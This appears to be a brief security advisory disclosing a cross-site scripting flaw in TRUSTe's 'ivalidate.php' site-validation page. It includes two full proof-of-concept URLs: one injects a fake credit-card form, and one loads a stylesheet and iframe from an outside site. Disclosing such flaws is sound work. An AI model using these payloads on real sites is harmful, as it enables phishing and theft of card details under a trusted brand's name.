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TRUSTe is an independent, nonprofit organization dedicated to enabling individuals and organizations to establish trusting relationships based on respect for personal identity and information in the evolving networked world. Through extensive consumer and Web site research and the support and guidance of many established companies and industry experts, TRUSTe has earned a reputation as the leader in promoting privacy policy disclosure, informed user consent, and consumer education.
One of TRUSTe.org services involves requesting whether a certain web site is TRUSTe validated or not. This service has been found to contain a cross site scripting vulnerability that opens up the TRUSTe web site to attack and allows also to use TRUSTe as a phishing source. |
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Credit:
The information has been provided by Andrew Smith.
The original article can be found at: http://wheresthebeef.co.uk/XSS/
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TRUSTe's 'ivalidate.php' is used to validate "trusted" sites. Whilst the script does add slashes to quotes and closes <script> and <style> tags, there are a number of HTML tags it does not strip, including <linK>,<div>,<iframe>. This leaves the site open to attack from phishers wanting to make their site appear "trusted".
Examples:
https://www.truste.org/ivalidate.php?url=%3Cfont%20size=5px%3EYou%20are%20not%20verified!%3C/font%3E%3Cbr%3E%3Cbr %3EQuick!%20Send%20us%20some%20money%20to%20fix%20this!%3Cform%20action=http://www.antiphishing.org/%3E%3CBR %3ECREDITCARDNUMBER:%3Cinput%20type=text%3E%3Cinput%20type=submit%3E%3C/form%3E%3Cbr%3E%3Cbr%3ETEH %20FLAP%20Strikes%20once%20again%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr %3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3CBR%3E%3CBR %3E%3CBR%3E%3CBR%3E
https://www.truste.org/ivalidate.php?url=%3C/b%3E%3C/p%3E%3C/tr%3E%3C/tr%3E%3C/table%3E%3C/center%3E%3C/div%3E %3Clink%20href=http://wheresthebeef.co.uk/XSS/xss.css%20rel=stylesheet%20type=text/css%3E%3Cdiv%20class=pwn%3E %3Ciframe%20src=http://wheresthebeef.co.uk/XSS/xss.htm%20height=1000px%20width=100%25%20FRAMEBORDER=0 %20SCROLLING=NO%3E%20%3C/iframe%3E%3C/div%3E
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